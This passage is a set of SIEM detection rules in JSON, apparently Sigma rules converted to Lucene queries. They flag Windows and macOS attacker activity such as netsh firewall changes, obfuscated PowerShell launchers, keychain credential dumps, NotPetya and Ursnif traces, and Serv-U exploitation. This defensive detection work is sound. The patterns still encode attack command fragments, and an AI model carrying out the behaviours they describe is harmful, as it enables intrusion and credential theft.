*C\\:\\\\$Recycle.bin\\\\* OR *\\:\\\\SystemVolumeInformation\\\\* OR *C\\:\\\\Windows\\\\Temp\\\\* OR *C\\:\\\\Temp\\\\* OR *C\\:\\\\Users\\\\Public\\\\* OR *C\\:\\\\Users\\\\Default\\\\* OR *C\\:\\\\Users\\\\Desktop\\\\* OR *\\\\Downloads\\\\* OR *\\\\Temporary\\ Internet\\ Files\\\\Content.Outlook\\\\* OR *\\\\Local\\ Settings\\\\Temporary\\ Internet\\ Files\\\\*) OR process.command_line:(C\\:\\\\Windows\\\\Tasks\\\\* OR C\\:\\\\Windows\\\\debug\\\\* OR C\\:\\\\Windows\\\\fonts\\\\* OR C\\:\\\\Windows\\\\help\\\\* OR C\\:\\\\Windows\\\\drivers\\\\* OR C\\:\\\\Windows\\\\addins\\\\* OR C\\:\\\\Windows\\\\cursors\\\\* OR C\\:\\\\Windows\\\\system32\\\\tasks\\\\* OR %Public%\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects netsh commands that configure a port forwarding (PortProxy) Author: Florian Roth, omkar72, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration","WSL2 network bridge PowerShell script used for WSL/Kubernetes/Docker (e.g. )"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"322ed9ec-fcab-4f67-9a34-e7c6aef43614","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Netsh Port Forwarding","query":"(process.executable:*\\\\netsh.exe AND ((process.command_line:*interface* AND process.command_line:*portproxy* AND process.command_line:*add* AND process.command_line:*v4tov4*) OR (process.command_line:*connectp* AND process.command_line:*listena* AND process.command_line:*c\\=*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","Lateral Movement","T1090"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects netsh commands that configure a port forwarding of port 3389 used for RDP Author: Florian Roth, oscd.community. License: ","enabled":false,"false_positives":["Legitimate administration"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"782d6f3e-4c5d-4b8c-92a3-1d05fed72e63","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Netsh RDP Port Forwarding","query":"(process.executable:*\\\\netsh.exe AND process.command_line:*i* AND process.command_line:*\\ p* AND process.command_line:*\\=3389* AND process.command_line:*\\ c*)","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","Lateral Movement","T1090"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects netsh commands that opens the port 3389 used for RDP, used in Sarwent Malware Author: Sander Wiebing. License: ","enabled":false,"false_positives":["Legitimate administration"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"884bf03c-ea4a-11d2-f558-d0c79b9d6538","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Netsh RDP Port Opening","query":"(process.command_line:*netsh* AND ((process.command_line:*firewall\\ add\\ portopening* AND process.command_line:*tcp\\ 3389*) OR (process.command_line:*advfirewall\\ firewall\\ add\\ rule* AND process.command_line:*action\\=allow* AND process.command_line:*protocol\\=TCP* AND process.command_line:*localport\\=3389*)))","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects netsh commands that turns off the Windows firewall Author: Fatih Sirin. License: ","enabled":false,"false_positives":["Legitimate administration"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"4ff3b71d-1329-ac8b-368a-e150618c51e5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Firewall Disabled via Netsh","query":"(process.command_line:*netsh* AND process.command_line:*set* AND ((process.command_line:*firewall* AND process.command_line:*opmode* AND process.command_line:*mode\\=disable*) OR (process.command_line:*advfirewall* AND process.command_line:*state* AND process.command_line:*off*)))","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1562"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1562","name":"Impair Defenses","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects network connections and DNS queries initiated by Regsvr32.exe Author: Dmitriy Lifanov, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0ed94acb-a11e-babf-4b08-526fba2914ba","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Regsvr32 Network Activity","query":"process.executable:*\\\\regsvr32.exe","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218","T1559"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1559","name":"Inter-Process Communication","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects network connections and DNS queries initiated by Regsvr32.exe Author: Dmitriy Lifanov, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"c7e91a02-d771-4a6d-a700-42587e0b1095","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Regsvr32 Network Activity","query":"process.executable:*\\\\regsvr32.exe","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1218","T1559"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1559","name":"Inter-Process Communication","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects new commands that add new printer port which point to suspicious file Author: EagleEye Team, Florian Roth. License: ","enabled":false,"false_positives":["New printer port install on host"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5206589f-7d23-e517-aff1-abaaf9fc54aa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious PrinterPorts Creation (CVE-2020-1048)","query":"((process.command_line:*Add\\-PrinterPort\\ \\-Name* AND process.command_line:(*.exe* OR *.dll* OR *.bat*)) OR process.command_line:*Generic\\ \\/\\ Text\\ Only*)","meta":{"from":"1m"},"severity":"high","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects new registry key created by Ursnif malware. Author: megan201296. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"40b5ace1-f787-73d7-4cc8-c86614d097fa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Ursnif","query":"(winlog.event_data.TargetObject:*\\\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\* AND (NOT (winlog.event_data.TargetObject:(*\\\\SOFTWARE\\\\AppDataLow\\\\Software\\\\Microsoft\\\\Internet\\ Explorer\\\\* OR *\\\\SOFTWARE\\\\AppDataLow\\\\Software\\\\Microsoft\\\\RepService\\\\* OR *\\\\SOFTWARE\\\\AppDataLow\\\\Software\\\\Microsoft\\\\IME\\\\* OR *\\\\SOFTWARE\\\\AppDataLow\\\\Software\\\\Microsoft\\\\Edge\\\\*))))","meta":{"from":"1m"},"severity":"critical","tags":["T1112"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects nltest commands that can be used for information discovery Author: Craig Young, oscd.community, Georg Lauenstein. License: ","enabled":false,"false_positives":["Legitimate administration use but user must be check out"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"5cc90652-4cbd-4241-aa3b-4b462fa5a248","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Recon Activity with NLTEST","query":"(process.executable:*\\\\nltest.exe AND ((process.command_line:*\\/server* AND process.command_line:*\\/query*) OR process.command_line:(*\\/dclist\\:* OR *\\/parentdomain* OR *\\/domain_trusts* OR *\\/trusted_domains* OR *\\/user*)))","meta":{"from":"1m"},"severity":"medium","tags":["T1016","T1482"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0007","reference":"","name":"Discovery"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1016","name":"System Network Configuration Discovery","reference":""},{"id":"T1482","name":"Domain Trust Discovery","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects non wmiprvse loading WMI modules Author: Roberto Rodriguez @Cyb3rWard0g. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7af4124a-921e-ba12-3ae4-fed3f91102fe","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"WMI Modules Loaded","query":"((file.path:(*\\\\wmiclnt.dll OR *\\\\WmiApRpl.dll OR *\\\\wmiprov.dll OR *\\\\wmiutils.dll OR *\\\\wbemcomn.dll OR *\\\\wbemprox.dll OR *\\\\WMINet_Utils.dll OR *\\\\wbemsvc.dll OR *\\\\fastprox.dll) AND (NOT (process.executable:(*\\\\WmiPrvSE.exe OR *\\\\WmiApSrv.exe OR *\\\\svchost.exe OR *\\\\DeviceCensus.exe OR *\\\\CompatTelRunner.exe OR *\\\\sdiagnhost.exe OR *\\\\SIHClient.exe OR *\\\\ngentask.exe OR *\\\\windows\\\\system32\\\\taskhostw.exe OR *\\\\windows\\\\system32\\\\MoUsoCoreWorker.exe OR *\\\\windows\\\\system32\\\\wbem\\\\WMIADAP.exe OR *C\\:\\\\Windows\\\\Sysmon64.exe OR *C\\:\\\\Windows\\\\Sysmon.exe OR *C\\:\\\\Windows\\\\System32\\\\wbem\\\\unsecapp.exe OR *\\\\logman.exe OR *\\\\systeminfo.exe OR *\\\\nvcontainer.exe OR *C\\:\\\\Windows\\\\System32\\\\wbem\\\\WMIC.exe OR *\\\\explorer.exe OR *\\\\opera_autoupdate.exe OR *\\\\MsMpEng.exe OR *\\\\thor64.exe OR *\\\\thor.exe)))) AND (NOT (process.executable:(C\\:\\\\Program\\ Files\\\\* OR C\\:\\\\Program\\ Files\\ \$x86\$\\\\*))))","meta":{"from":"1m"},"severity":"low","tags":["T1047"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1047","name":"Windows Management Instrumentation","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent. Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements). License: ","enabled":false,"false_positives":["Legitimate programs executing PowerShell scripts"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"f4bbd493-b796-416e-bbf2-121235348529","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":5,"name":"Non Interactive PowerShell","query":"(process.executable:*\\\\powershell.exe AND (NOT (process.parent.executable:(*\\\\explorer.exe OR *\\\\CompatTelRunner.exe))))","meta":{"from":"1m"},"severity":"low","tags":["T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement Author: Markus Neis - Swisscom. License: ","enabled":false,"false_positives":["Other Remote Desktop RDP tools","domain controller using dns.exe"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9fb79eb7-f00b-07a0-c832-f5a008822ffb","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Suspicious Outbound RDP Connections","query":"((destination.port:\"3389\" AND winlog.event_data.Initiated:\"true\") AND (NOT (process.executable:(*\\\\mstsc.exe OR *\\\\RTSApp.exe OR *\\\\RTS2App.exe OR *\\\\RDCMan.exe OR *\\\\ws_TunnelService.exe OR *\\\\RSSensor.exe OR *\\\\RemoteDesktopManagerFree.exe OR *\\\\RemoteDesktopManager.exe OR *\\\\RemoteDesktopManager64.exe OR *\\\\mRemoteNG.exe OR *\\\\mRemote.exe OR *\\\\Terminals.exe OR *\\\\spiceworks\\-finder.exe OR *\\\\FSDiscovery.exe OR *\\\\FSAssessment.exe OR *\\\\MobaRTE.exe OR *\\\\chrome.exe OR *\\\\System32\\\\dns.exe OR *\\\\thor.exe OR *\\\\thor64.exe OR *\\\\Passwordstate.exe) OR process.executable:C\\:\\\\Program\\ Files\\\\SplunkUniversalForwarder\\\\bin\\\\*)))","meta":{"from":"1m"},"severity":"high","tags":["Lateral Movement","T1021"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0008","reference":"","name":"Lateral Movement"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1021","name":"Remote Services","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects NotPetya ransomware activity in which the extracted passwords are passed back to the main module via named pipe, the file system journal of drive C is deleted and windows eventlogs are cleared using wevtutil Author: Florian Roth, Tom Ueltschi. License: ","enabled":false,"false_positives":["Admin activity"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"79aeeb41-8156-4fac-a0cd-076495ab82a1","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"NotPetya Ransomware Activity","query":"((process.command_line:*\\\\AppData\\\\Local\\\\Temp\\\\* AND process.command_line:*\\\\.\\\\pipe\\\\\\*) OR (process.executable:*\\\\rundll32.exe AND process.command_line:(*.dat,#1 OR *.dat\\ #1)) OR \"\\\\perfc.dat\")","meta":{"from":"1m"},"severity":"critical","tags":["Credential Access","Defense Evasion","T1003","T1070","T1218"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1070","name":"Indicator Removal on Host","reference":""},{"id":"T1218","name":"Signed Binary Proxy Execution","reference":""}]},{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1003","name":"OS Credential Dumping","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated Powershell via COMPRESS OBFUSCATION Author: Timur Zinniatullin, oscd.community. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"7eedcc9d-9fdb-4d94-9c54-474e8affc0c7","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Invoke-Obfuscation COMPRESS OBFUSCATION","query":"process.command_line:/(?i).*new-object.*(?:system\\.io\\.compression\\.deflatestream|system\\.io\\.streamreader).*text\\.encoding\\]::ascii.*readtoend/","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated Powershell via RUNDLL LAUNCHER Author: Timur Zinniatullin, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"056a7ee1-4853-4e67-86a0-3fd9ceed7555","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Invoke-Obfuscation RUNDLL LAUNCHER","query":"process.command_line:/(?i).*rundll32(?:\\.exe)?(?:\\s+)?shell32\\.dll.*shellexec_rundll.*powershell.*\\\"/","meta":{"from":"1m"},"severity":"medium","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated Powershell via Stdin in Scripts Author: Nikita Nazarov, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9c14c9fa-1a63-4a64-8e57-d19280559490","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation Via Stdin","query":"process.command_line:/(?i).*(set).*&&\\s?set.*(environment|invoke|\\${?input).*&&.*\"/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated Powershell via use Clip.exe in Scripts Author: Nikita Nazarov, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e1561947-b4e3-4a74-9bdd-83baed21bdb5","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation Via Use Clip","query":"process.command_line:/(?i).*?echo.*clip.*&&.*(Clipboard|i`?n`?v`?o`?k`?e`?).*/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated Powershell via use MSHTA in Scripts Author: Nikita Nazarov, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"ac20ae82-8758-4f38-958e-b44a3140ca88","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation Via Use MSHTA","query":"process.command_line:/(?i).*(set).*(&&).*(mshta).*(vbscript:createobject).*(\\.run).*\$window\\.close\$.*\"/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated Powershell via use Rundll32 in Scripts Author: Nikita Nazarov, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"36c5146c-d127-4f85-8e21-01bf62355d5a","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation Via Use Rundll32","query":"process.command_line:/(?i).*&&.*rundll32.*shell32\\.dll.*shellexec_rundll.*(value|invoke|comspec|iex).*\"/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated Powershell via VAR++ LAUNCHER Author: Timur Zinniatullin, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"e9f55347-2928-4c06-88e5-1a7f8169942e","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation VAR++ LAUNCHER OBFUSCATION","query":"process.command_line:/(?i).*&&set.*(\\{\\d\\}){2,}\\\\\\\"\\s+?\\-f.*&&.*cmd.*\\/c/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated use of Clip.exe to execute PowerShell Author: Jonathan Cheong, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"b222df08-0e07-11eb-adc1-0242ac120002","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation CLIP+ Launcher","query":"process.command_line:/.*cmd.{0,5}(?:\\/c|\\/r).+clip(?:\\.exe)?.{0,4}&&.+clipboard]::\\(\\s\\\\\\\"\\{\\d\\}.+\\-f.+\\\"/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated use of Environment Variables to execute PowerShell Author: Jonathan Cheong, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"27aec9c9-dbb0-4939-8422-1742242471d0","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation VAR+ Launcher","query":"process.command_line:/.*cmd.{0,5}(?:\\/c|\\/r)(?:\\s|)\\\"set\\s[a-zA-Z]{3,6}.*(?:\\{\\d\\}){1,}\\\\\\\"\\s+?\\-f(?:.*\\)){1,}.*\\\"/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Obfuscated use of stdin to execute PowerShell Author: Jonathan Cheong, oscd.community. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"6c96fc76-0eb1-11eb-adc1-0242ac120002","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Invoke-Obfuscation STDIN+ Launcher","query":"process.command_line:/.*cmd.{0,5}(?:\\/c|\\/r).+powershell.+(?:\\$\\{?input\\}?|noexit).+\\\"/","meta":{"from":"1m"},"severity":"high","tags":["Defense Evasion","T1027","T1059"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0002","reference":"","name":"Execution"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1059","name":"Command and Scripting Interpreter","reference":""}]},{"tactic":{"id":"TA0005","reference":"","name":"Defense Evasion"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1027","name":"Obfuscated Files or Information","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects Octopus Scanner Malware. Author: NVISO. License: ","enabled":false,"false_positives":["Unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"1e9839d8-08e8-4567-7c07-b1a7c4f48bb3","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":65,"name":"Octopus Scanner Malware","query":"file.path:(*\\\\AppData\\\\Local\\\\Microsoft\\\\Cache134.dat OR *\\\\AppData\\\\Local\\\\Microsoft\\\\ExplorerSync.db)","meta":{"from":"1m"},"severity":"high","tags":["T1195","T1195"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects Pandemic Windows Implant Author: Florian Roth. License: ","enabled":false,"false_positives":["unknown"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"9fefd33c-339d-4495-9cba-b96ca006f512","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Pandemic Registry Key","query":"process.command_line:*loaddll\\ \\-a\\ *","meta":{"from":"1m"},"severity":"critical","tags":["Lateral Movement","T1105"],"to":"now","type":"query","threat":[],"version":1,"references":[""]}
{"description":"Detects passwords dumps from Keychain Author: Tim Ismilyaev, oscd.community, Florian Roth. License: ","enabled":false,"false_positives":["Legitimate administration activities"],"filters":[],"from":"now-360s","immutable":false,"index":["apm-*-transaction","auditbeat-*","endgame-*","filebeat-*","packetbeat-*","winlogbeat-*","logs-*"],"interval":"5m","rule_id":"b120b587-a4c2-4b94-875d-99c9807d6955","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":35,"name":"Credentials from Password Stores - Keychain","query":"((process.executable:\"\\/usr\\/bin\\/security\" AND process.command_line:(*find\\-certificate* OR *\\ export\\ *)) OR process.command_line:(*\\ dump\\-keychain\\ * OR *\\ login\\-keychain\\ *))","meta":{"from":"1m"},"severity":"medium","tags":["Credential Access","T1555"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0006","reference":"","name":"Credential Access"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1555","name":"Credentials from Password Stores","reference":""}]}],"version":1,"references":[""]}
{"description":"Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322 Author: Florian Roth. License: ","enabled":false,"false_positives":["Unlikely"],"filters":[],"from":"now-360s","immutable":false,"index":["winlogbeat-*"],"interval":"5m","rule_id":"0481afff-062b-be83-9b48-e098cfa076fa","language":"lucene","output_index":".siem-signals-default","max_signals":100,"risk_score":95,"name":"Serv-U Exploitation CVE-2021-35211 by DEV-0322","query":"((process.command_line:*whoami* AND process.command_line:(*.\\/Client\\/Common\\/* OR *.\\\\Client\\\\Common\\\\*)) OR process.command_line:*C\\:\\\\Windows\\\\Temp\\\\Serv\\-U.bat*)","meta":{"from":"1m"},"severity":"critical","tags":["T1136"],"to":"now","type":"query","threat":[{"tactic":{"id":"TA0003","reference":"","name":"Persistence"},"framework":"MITRE ATT&CKÂ®","technique":[{"id":"T1136","name":"Create Account","reference":""}]}],"version":1,"references":[""]}
